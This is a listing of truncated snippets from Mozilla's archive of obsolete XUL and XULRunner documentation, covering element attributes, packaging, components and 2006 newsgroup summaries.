e" label="date" flex="1" persist="width ordinal hidden sortactive sortdirection" sort="rdf:http://home.netscape.com/web-rdf#lastmodifieddate"/> more details about the persist attribute will be described in the later section. additional rule attributes there are two additional attributes that can be added to the rule element that allow it to match in certain special circumstances. both are boolean attributes. iscontainer if this attribute is set to true, then the rule will match all resources that have children. for example, we could use this rule to match bookmark folders. this is convenient as the rdf datasource does not need to include any special attributes to indicate this. isempty if this attribute is set to true, then the rule w...
XPCOM Interfaces - Archive of obsolete content
ovides such a method which involves using xpcom (cross-platform component object model). mozilla provides many xpcom components and interfaces. so, in most cases, you don't need to write native code for yourself. after learning this section, you can search suitable interfaces using xulplanet xpcom reference about xpcom mozilla is constructed from a collection of components, each of which performs a certain task. for example, there is a component for each menu, button and element. the components are constructed from a number of definitions called interfaces. an interface in mozilla is a definition of a set of functionality that could be implemented by components. components are what implement the code in mozilla that does things. each component implements the functionality as described by...
Urlbar-icons - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] the location of ui elements like the bookmarks, feed and go buttons. create new image or button child elements to add your own items. (the url bar is also known as the address bar and the navigation bar.) example the default contents of browser.xul: <hbox id="urlbar-icons"> <button be="" chromedir="ltr" class="urlbar-icon" click="" for="" id="safebrowsing-urlbar-icon" img="" level="safe" might="" onclick="godocommand('safebrowsing-show-warning');" page="" style="-moz-user-focus:" tooltiptext="this" type="menu"> <img class="urlbar-icon" id="star-button" onclick="placesstarbutton.onclick(event);" /> <img address="" chromedir="ltr" class="urlbar-icon" id="go-button" in="" location=...
Using Visual Studio as your XUL IDE - Archive of obsolete content
o do some registry tricks, so that va knows how to treat these file types. all va options can be found at: hkey_current_user\software\whole tomato\visual assist x\ find the folder that represents your visual studio version ((vanet8, vanet9, etc.) and add your extensions to the corresponding registry entries extjs and extxml. make sure that visual studio is not running, when you do this. 5. problems that need to be solved there are still some problems for which i did not find a solution yet. 5.1 localization using dtd you will get validation errors in visual studio, if you are localizing your xul files. that has to do with the way mozilla implemented localization: < !doctype window system "chrome://loomo/locale/main.dtd"> visual studio doesn't recognize the chrome uri prefix, what will give...
Using the Editor from XUL - Archive of obsolete content
nseditorshellmouselistener this is an odd-man-out event listener, in that it's registered from the editorshell, rather than internally to the editor. note: this is ugly, and should probably be redesigned to work on callbacks out of the editor, or moved entirely to javascript. the nseditorshellmouselistener essentially calls nseditorshell::handlemouseclickonelement to show property dialogs for items that you double-click on. the path of a key press so what happens to a key press once it's got to the nstexteditorkeylistener? how does that end up in the document? let's trace through. nstexteditorkeylistener::keypress() gets the key press event. for normal character keys, that falls into nshtmleditor::editorkeypress(). nshtmleditor::editorkeypress() gets the character code from th...
Writing Skinnable XUL and CSS - Archive of obsolete content
a special skin called theglobal skin. if you wish for your package to blend in with the other packages, then the skin for your package should inherit information from the global skin in order to reduce the amount of duplication across packages and in order to make the ui as a whole easier to skin. writing css files for a package learn css! this may seem obvious, but many of the nastiest problems we're seeing are being caused by people writing buggy or syntactically incorrect css. read the spec! study a book! know it! love it! make it a part of you! each skin has a master skin file. the skin for a package should always have a master skin file whose name corresponds to the name of the package. for example, the skin for the navigator package should contain a file called navigator.css that ...
XUL Accesskey FAQ and Policies - Archive of obsolete content
if not, try the first letter of the first word in the prompt. next, try the first letter of another word in the prompt. finally, use any non-silent letter in an action word (do these after the rest of the dialog has accesskeys chosen). common elements that don't get accesskeys ok buttons. cancel buttons. close buttons. tab panel labels. toolbar buttons tree items list items column headers are there any crucial bugs i should know about? bug 143065 - scope of accesskeys is not limited to the current tab panel. where do accesskeys need to be added? look for dependencies of bug 129179 (the xul accesskey hookup meta bug), or look for bugs with "accesskey" or "mnemonic" in the summary, or look for dialogs where there are no elements with underlin...
XUL Parser in Python/source - Archive of obsolete content
, i had to put this hack in here to suppress the printing out of the resolved namespace: # "xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul window", etc. ...
XUL element attributes - Archive of obsolete content
uri of an rdf predicate that serves as a secondary key for sorted content. statustext type: string used to set the text that appears on the status bar when the user moves the mouse over the element. mozilla doesn't adjust the status bar automatically however. this attribute serves only as a place to keep the text. in firefox, this text is automatically placed in the statusbar for menuitems on the menu bar. style type: css inline style css style rules to be applied to the element. syntax is as in the html style attribute. it is preferred to put style rules in style sheets. template type: id for template generated elements, this attribute may optionally be placed on the root node (the element with the datasources attribute) to refer to a template that exists elsew...
XUL accessibility tool - Archive of obsolete content
general information the xul accessibility tool is a firefox extension designed by aaron andersen of webaim as part of a mozilla foundation accessibility minigrant in the spring of 2007. it is designed to test (insofar as automated testing is possible) the guidelines and requirement for creating accessible xul as set forth in the xul accessibility guidelines, and to report on any problems found in tested documents. while not meant to be a comprehensive test suite (meaning that passing all included tests does not guarantee that an application is free of accessibility bugs or issues), many of the most common accessibility mistakes will be found and reported. availability the xul accessibility tool can currently be obtained from [http://www.xulplanet.com/aaron/files...bilitytool.xpi]. f...
broadcaster - Archive of obsolete content
want elements to respond to a state change. any elements that are observing the broadcaster will share the attributes placed on the broadcaster. for instance, if the broadcaster has a label attribute, the observers will use that label. if the label changes, the labels of the observers will update automatically. an onbroadcast event will be sent to the observers when a change is made. for menuitems or buttons that just want to have their disabled status set when the feature should be disabled, you should use a command element instead. more information is available in the broadcasters and observers xul tutorial. examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment,...
checkbox - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. src type: uri set this to an uri pointing to an image to appear in the checkbox. if this attribute is left out, no image appears. you can have both an image and a label. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable ...
colorpicker - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. color type: color string the currently selected color. this is modified when the user selects a color. you can assign a string of the form #rrggbb to this property to change the selected color. overview an onchange attribute is an event listener to the object for the event change. a change ...
datepicker - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. firstdayofweek type: integer which day of the week to display as the first day in the grid. the values range from 0 to 6, where 0 is sunday and 6 is saturday. the default value is determined by the locale, so only use this attribute if you want to override it. readonly type: boolean if s...
deck - Archive of obsolete content
Archive › Mozilla › XUL › deck
preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties selectedindex type: integer returns the index of the currently selected item. you may select an item by assigning its index to this property. by assigning -1 to this property, all items will be deselected. returns -1 if no items are selected do not hide panels; the deck element only understands visible panels. selectedpanel type: element holds a reference to the currently selected panel within a deck element. assigning a value to this property will modify the selected panel. inherited properties align, , allowevents, , boxobject, builder, , , , c...
description - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. tabindex type: integer the tab order of the element. the tab order is the order in which the focus is moved when the user presses the "tab" key. elements with a higher tabindex are later in the tab sequence. value type: string the string attribute allows you to associate a data value wit...
iframe - Archive of obsolete content
owser is not allowed to access the chrome above it. this is the preferred value for any browser element in an application, which will use multiple browsers of equal privileges, and is unselected at the moment. chrome (default behaviour): a browser, intended to be used for loading privileged content using a chrome:// uri. don't use for content from web, as this may cause serious security problems! transparenttype: one of the values belowset the background of an iframe as transparent.transparentthis results in the iframe's background being transparent. this can be used to workaround things like bug 540911 inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, di...
keyset - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , ...
label - Archive of obsolete content
Archive › Mozilla › XUL › label
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. href type: string defines a url to open when this element is clicked. requires the class attribute to include text-link. value type: string the text to be used for the label. properties accesskey type: character gets and sets the value of the accesskey attri...
listcell - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no te...
listhead - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, m...
listheader - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. inherited from xul element align, allowevents, all...
listitem - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text...
menubar - Archive of obsolete content
="undo"/> <menuitem label="redo"/> </menupopup> </menu> </menubar> attributes grippyhidden seamonkey only type: boolean when set to true, the grippy will be hidden. when set to false, the default, the grippy will be shown. statusbar type: id if you set this attribute to the id of a statusbar element, the label on the statusbar will update to the statustext of the items on the menu as the user moves the mouse over them. properties accessibletype type: integer a value indicating the type of accessibility object for the element. statusbar type: id of statusbar element gets and sets the value of the statusbar attribute. inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, context...
preference - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. instantapply type: boolean if true, the preference will be changed as soon as the user interface is modified. inverted type: boolean for boolean preferences, if this attribute is set to true, it indicates that the value of the preference is the reverse of the user interface element attac...
radio - Archive of obsolete content
Archive › Mozilla › XUL › radio
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. focused type: boolean this attribute is true if the element is focused. group type: string group name buttons with type="radio" and the same value for their group attribute are put into the same group. only one button from each group can be checked at a time. if the user selects one the...
richlistitem - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. searchlabel type: string text used for 'find-as-you-type' (fayt) searching. in situations where the search text is ambiguous or missing, searchlabel can be used to give context to fayt. if searchlabel is not present, fayt falls back to use the label property. selected type: boolean indi...
scale - Archive of obsolete content
Archive › Mozilla › XUL › scale
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. increment type: integer the amount by which the curpos (for scroll bars) or value (for number boxes and scale) attribute changes when the arrows are clicked(or scales are dragged). the default value is 1. min type: integer the minimum value the control's...
tab - Archive of obsolete content
Archive › Mozilla › XUL › tab
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. fadein type: boolean this attribute is set to true if the tab is fading in or out. this typically means that the tab is in the process of appearing or disappearing. first-tab type: boolean this attribute will be set to true for the first tab. this attribute should not be set manually, but ...
tabbox - Archive of obsolete content
handlectrlpageupdown type: boolean gets and sets the value of the handlectrlpageupdown attribute. handlectrltab type: boolean gets and sets the value of the handlectrltab attibute. selectedindex type: integer returns the index of the currently selected item. you may select an item by assigning its index to this property. by assigning -1 to this property, all items will be deselected. returns -1 if no items are selected selectedpanel type: element holds a reference to the currently selected panel within a <tabbox> element. assigning a value to this property will modify the selected panel. a select event will be sent when the selected panel is changed. selectedtab type: tab element a reference to the currently selected tab, which will always be...
tabpanels - Archive of obsolete content
, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessible type: nsiaccessible returns the accessibility object for the element. selectedindex type: integer returns the index of the currently selected item. you may select an item by assigning its index to this property. by assigning -1 to this property, all items will be deselected. returns -1 if no items are selected selectedpanel type: element holds a reference to the currently selected panel within a <tabbox> element. assigning a value to this property will modify the selected panel. a select event will be sent when the selected panel is changed. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), compar...
textbox - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. focused type: boolean this attribute is true if the element is focused. emptytext deprecated since gecko 2 type: string a string that appears in the textbox when it has no value. this is superseded by the placeholder attribute in gecko 2.0. the old name is retained for compatibility, but ...
timepicker - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. hideseconds type: boolean indicates whether to show the seconds field. readonly type: boolean if set to true, then the user cannot change the value of the element. however, the value may still be modified by a script. increment type: integer ind...
toolbarbutton - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. dlgtype type: one of the values below the dialog type of the button, used only when the button is in a dialog box. you can use this feature to replace the standard dialog box buttons with custom buttons, yet the dialog event methods will still function. for example, if the dlgtype is set to accept...
toolbaritem - Archive of obsolete content
if you don't need the thing you're placing in the toolbar to be customized then it doesn't need to be in a toolbaritem element. the element is used, for example, to hold the location bar's textbox in firefox. it is also used to group buttons together so they can be added and removed all at once like firefox's unified-back-forward-button. ...
toolbarseparator - Archive of obsolete content
it is functionally equivalent to a normal separator but some themes may apply a different appearance. ...
toolbarspacer - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] firefox only a space between toolbar items. properties accessibletype examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties ...
toolbarspring - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] firefox only a flexible space between toolbar items. properties accessibletype examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
toolbox - Archive of obsolete content
emoveattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata appendcustomtoolbar( name, currentset ) firefox only return type: element adds a custom toolbar to the toolbox with the given name. you can supply a comma-separated list of toolbar item ids as the second argument to add some items by default. the method returns the dom element for the created toolbar. collapsetoolbar( toolbar ) not in firefox return type: no return value collapse the given toolbar which should be contained within the toolbox. expandtoolbar( toolbar ) not in firefox return type: no return value expand the given toolbar which should be contained in the toolbox. related elements toolbar, too...
tooltip - Archive of obsolete content
lative to the viewport of the document containing the popup node. in this case, the position and attributesoverride arguments are ignored. iscontextmenu the iscontextmenu argument should be true for context menus and false for all other types of popups. it affects menu item highlighting; that is, while a context menu is open, menus opened earlier do not highlight or execute their items. attributesoverride if the attributesoverride argument is true, the position attribute on the popup node overrides the position value argument. if attributesoverride is false, the attribute is only used if the position argument is empty. triggerevent the event that triggered the popup (such as a mouse click, if the user clicked something to open the popup). ope...
window - Archive of obsolete content
find bar from being displayed when it's not supported by the content (such as in the add-ons manager tab). drawintitlebar type: boolean if this attribute is true, the top of the window's content area will begin at the top edge of the title bar, instead of below the title bar. this allows the window to draw in the title bar. this is supported only from window elements, and is ignored on platforms that don't support drawing into the title bar. fullscreenbutton type: boolean set this attribute to true to display a button in the window chrome to allow the user to switch the window into full screen mode. supported on mac os x 10.7 lion and later and on windows. the window receives a "fullscreen" event once the change has been made. height type: string (representing an integer) th...
XUL - Archive of obsolete content
ulrunner application containing the xul periodic table which can be opened with gecko based browsers. you can get it here. see: using firefox 3 to run xulrunner applications for instructions on running xulrunner apps in firefox. view all... community view mozilla forums... mailing list newsgroup rss feed #xul on irc.mozilla.org tools xul online live editor (copy & paste snippets from here and run them) xul explorer (a lightweight xul ide) xulexplorer (patched version of xul explorer) extension developer's extensio...
Components - Archive of obsolete content
erstand how xulrunner registers and saves the components. place after a new component has been written it must be placed in the app/components/ directory (not xulrunner/components/). put both .dll/.js file and the .xpt(s) in there. unlike extensions, it must be directly in that directory, not a subdirectory. then you need to make sure that it gets registered. registration most initial problems with components are due to registration. for new components or interface changes of existing ones to be noticed at all, you need to change the buildid in application.ini to trigger a re-registration of the components. alternatively, you can delete compreg.dat and xpti.dat in the user profile directory - that of your xulrunner app, not that of firefox/mozilla. it's named after your vendor and app ...
Deploying XULRunner - Archive of obsolete content
ered on the system and the app must be deployed per the instructions at xul application packaging. if your installer is capable of determining whether or not xulrunner has been registered on the system you could perform the check and register the appropriate version if necessary. after that, the app could be installed to the registered xulrunner and appear in start menus, lists of installed programs, etc. (bonus points for checking the operating system and downloading the right xulrunner on the fly, or bundling them into your installer). registration and app installation are performed with command line switches as outlined in the xulrunner section of article command line options. it may turn out to be easier to create a self contained portable application, as described here, and deploy it w...
Dialogs in XULRunner - Archive of obsolete content
pre packaged"/> </radiogroup> </groupbox> </dialog> xul window elements have a special method to open dialogs, called window.opendialog(). here is the code needed to open a dialog: function opendialog() { window.opendialog("chrome://basicapp/content/dialog.xul", "newdlg", "modal"); } the resulting dialog looks like this on windows 2000, and will look similar on other operating systems: the first thing that caught my eye about dialog is the button-related attributes on the element. in an effort to make things easier for developers and more consistent for users, xul has a mechanism to automatically create and position the core dialog buttons ("ok," "cancel," and "help" for example). the developer just declares the need for the button, the button's caption, and the access key...
Opening a Link in the Default Browser - Archive of obsolete content
...
Using Crash Reporting in a XULRunner Application - Archive of obsolete content
xulrunner application authors who wish to use crash reporting must run a crash reporting server. please see the socorro project for more information. to enable crash reporting on the client, set the following items in application.ini: [crash reporter] enabled=true serverurl=https://your.server.url/submit note: because crash reports can contain private data including passwords, in production environments they should only be sent via https. ...
XUL Application Packaging - Archive of obsolete content
plication. optional - default value is any xulrunner less than xulrunner 2 example: maxversion=1.8.0.* the [xre] section the xre section specifies various features of xulrunner startup that can be enabled enableextensionmanager specifies whether to enable extensions and extension management. legal values are 1 and 0. optional - default is 0 note: this option does not add menu items that make the extension/theme manager available in the ui; that is the responsibility of the application author. example: enableextensionmanager=1 enableprofilemigrator specifies whether, when the application is launched for the first time and there are no profiles, to enable profile migration code through the nsiprofilemigrator interface. legal values are 1 and 0. optional - default ...
XUL Explorer - Archive of obsolete content
is a xulrunner application that provides an easy way to experiment with xul. it’s a simple editor that can preview xul inline or in a separate popup window. it has a list of code snippets (small fragments of xul or javascript) that can be quickly inserted into the editor. the xul can be loaded from and saved to files. a xul validator and the error console are both available to help debug problems. the help menu provides access to xul information on mdc. there is even simple “keyword” help lookup for xul elements. roadmap features: the preview pane can be toggled with the editor. previewing in a popup window is still available. option to automatically update the preview as the editor changes. indicator in the statusbar shows errors. double-click to display error console. option...
mozilla.dev.platform FAQ - Archive of obsolete content
wser/> the javascript popup windows don't work out of the box, what needs to be implement? a: have the browser.chromeurl preference - this should be a xul document containing a <browser type="content-primary"> element in which the popup window's content should get loaded. visual studio express 2005 q: when i try to run xulrunner-stub.exe i get the error "this application failed to start because msvcr80.dll was not found." a: see bug 350616 ...
Mozprocess - Archive of obsolete content
this documentation is no longer maintained. for more information about mozprocess as part of the mozbase project, please see the mozbase project page. mozprocess provides python process management via an operating system and platform transparent interface to mozilla platforms of interest. mozprocess aims to provide the ability to robustly terminate a process (by timeout or otherwise), along with any child processes, on windows, os x, and linux. mozprocess utilizes and extends subprocess.popen to these ends. api mozprocess.processhandler:processhandler is the central exposed api for mozprocess. processhandler utilizes a contained subclass of subprocess.popen, process, which does the brunt of the process management. basic usage: process = processhandler(['command', '-line', 'argum...
Mozprofile - Archive of obsolete content
ni via the command line: mozprofile --pref key:value --pref key:value [...] when setting preferences from an .ini file or the --pref switch, the value will be interpolated as an integer or a boolean (true/false) if possible. setting permissions mozprofile also takes care of adding permissions to the profile. see https://github.com/mozilla/mozbase/b...permissions.py resources other mozilla programs offer additional and overlapping functionality for profiles. there is also substantive documentation on profiles and their management. profilemanager : xulrunner application for managing profiles. has a gui and cli. python-profilemanager : python cli interface similar to profilemanager profile documentation : http://support.mozilla.com/kb/profiles ...
reftest opportunities files - Archive of obsolete content
estions, please post to the mozilla.dev.quality newsgroup on news.mozilla.org (see at google groups). layout bugs that needs a reftest many of the bugzilla bugs in the core product, layout components with the in-testsuite? flag needs one or more reftests. if you create a reftest for any of these bugs please attach the reftest to the bug and ask for review from the assignee (or anyone else that seems appropriate judging from comments in the bug). note that bugs with the testcase keyword already have one or more testcases attached to the bug that can be used when creating the reftest. tests from dbaron http://dbaron.org/css/test/cachetest http://dbaron.org/css/test/lenunit http://dbaron.org/css/test/implied http://dbaron.org/css/test/formelem http://dbaron.org/css/test/sec010303 http://dbaron...
Mozilla.dev.apps.firefox-2006-10-06 - Archive of obsolete content
testing mozilla products with vista. a wiki and irc channel have been created to track their progress. discussions firefox trunk and rc1 slowdown using tabs discussion regarding certain theme components (specifically alpha-transparency) creating a high cpu load on os/2. title case capitalization rules in firefox discussion regarding rules for capitalizing the first letter of firefox menu items in the ff ui. engineering student project - industry coach paul betts from ohio state university is looking for someone from mozilla to be his "industry coach" for engineering 494 - how great ideas turn into great products. mozilla is a great product afterall. reload vs. reload from cache discussion regarding the lack of user understanding regarding reloading and reloading from the cache and ho...
2006-11-22 - Archive of obsolete content
ther nvda users. to join, send a blank email with subscribe in the subject field to: nvda...@freelists.org (click here to view the original post and unmask the e-mail address) michael would like to thank stormdragon for setting this up. click here for more details. new mailing list for nvda steve lee was pleased to announce that the mozilla foundation has approved a grant spearheaded by himself and aaron leventhal for "improved switch access to firefox". he expressed his gratitude and thanks everyone for being supportive during and after the summit. click here for more details. idispatch support for jaws scripting needed aaron leventhal stated that currently there is no idispatch support for iaccessible's in mozilla. if anyone has experience with these issues, and is comfortabl...
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - september 29 - october 6, 2006 announcements sunbird and lightning 0.3rc1 available gordon announced the candidate (rc) builds for sunbird and lightning 0.3 are released. sunbird release notes lightning release notes sunbird_0_3_release tag being created lilmatt announced the sunbird 0.3 realse tag being created. sun microsystems contributes to lightning to combine it with openoffice.org sun microsystems provide users with an alternative open source choice by combining openoffice.org respectively staroffice and thunderbird/lightning. discussions dialogs on app startup discussion regarding improvement of dialog of app window what are tasks? what are events? discussion regarding tasks and events meetings none this week. authors ma...
2006-10-06 - Archive of obsolete content
testing mozilla products with vista. a wiki and irc channel have been created to track their progress. discussions firefox trunk and rc1 slowdown using tabs discussion regarding certain theme components (specifically alpha-transparency) creating a high cpu load on os/2. title case capitalization rules in firefox discussion regarding rules for capitalizing the first letter of firefox menu items in the ff ui. engineering student project - industry coach paul betts from ohio state university is looking for someone from mozilla to be his "industry coach" for engineering 494 - how great ideas turn into great products. mozilla is a great product afterall. reload vs. reload from cache discussion regarding the lack of user understanding regarding reloading and reloading from the cache and ho...
2006-11-17 - Archive of obsolete content
stion from others. a few suggestion is posted. what file format is tb's address book using? tb's address book uses mork (file format). there are also some perl code provided in this link. how to get review for work-in-progress patch? answer: cc whoever you need review from, but don't post a formal review. steps for posting a formal review is provided also. how to access xyz.properties items more detail and code examples are provided in the posting. how to create top-level folders in inbox with an imap account on courier server. solution is provided by jay lee should there be an additional options for account configuration that just delete the messages from the server whenever they are deleted in tb? some discussion is posted. however, david bienvenu stated that the options al...
2006-12-01 - Archive of obsolete content
meetings none for this week ...
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.builds - october 14th to october 20th 2006 linux reference platform 1.8.1 october 18th: marcus is wondering about the linux platform that is currently used to compile both public releases of firefox and xulrunner. on october 18th marcus responded to his original post and expanded on the original content of his question. marcus claims that when he builds firefox using centos he encounters crashes (segmentation faults) under linux distributions such as gentoo, suse and fedora. he also points out that when he performs a local build any of those platforms (gentoo, suse and fedora) he doesn't encounter any problems on the same machine. adding extension to extensions/ folder originally posted on oct 19th: christopher finke is currently learning how to c...
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.builds - november 25th to december 1st 2006 any one else seeing this? november 27th: rinaldi j. montessi posted a link to a bug that he himself added to bugzilla. announcements automatic configure updated back on november 27th j. paul reed announced that: the server which performs the automatic autoconf/configure generation is back online. j. paul reed has also requested that if any problems are encountered he should be contacted via irc in #build @ irc.mozilla.org. meetings there were no meetings this week. summarized by: vanessa miranda & mohammad tirtashi ...
2006-11-24 - Archive of obsolete content
ons quality of localized builds and process requirements quality of localized builds and process requirements the translate toolkit mdnto po: its current state and how to use it discussion on clarifications on translate toolkit to avoid confusion. feedback on l10n:ownership draft feedback on the l10n:ownership draft at mozilla wiki site detailed here. summary vs. live titles there seems to be a few locales that use "summary" or a translation thereof instead of "live titles" to name the ui part of microsummaries. the lxr query is detailed here. meetings none for this week. authors paul yanchun gu (gpaul) aditya nanda kuswanto(vipers101) ...
2006-10-06 - Archive of obsolete content
rc2 testing update tim riley announced minimum tests for rc2 have been run and that rc2 is go for the final staging of the release. preed followed up and said that the checker was run and "build is go for launch". re: sunbird and lightning 0.3rc1 available sunbird and lightning 0.3rc1 is announced. this launches a (misguided?) discussion and comparison of sunbird and lightning to outlook. ...
2006-12-01 - Archive of obsolete content
ck up. gecko 1.9a1 triage meetings vlad announced that the gecko devs will be taking over the ff2 triage meetings until gecko 1.9a1 ships (nov 28th). watch #grandparadiso for updates. discussion november 29th gecko 1.9/gran paradiso status meeting other than annoucing the meeting, this thread discusses where else can info about what happens at the meetings be found (since the agenda often seems bare). m.d.planning and dev news blog are suggested. bon echo project status: remaining "to-do" items beltzner starts a discussion on when to offer 1.5.0.8+ users the chance to upgrade to ff2.x (now or when ff2.0.0.1 is released). also discussed is the the mozilla_1_8_branch's npotb (not part of the build) checkin policy. this newsgroup or "governance"? mitchell baker asks where should topics...
2006-11-10 - Archive of obsolete content
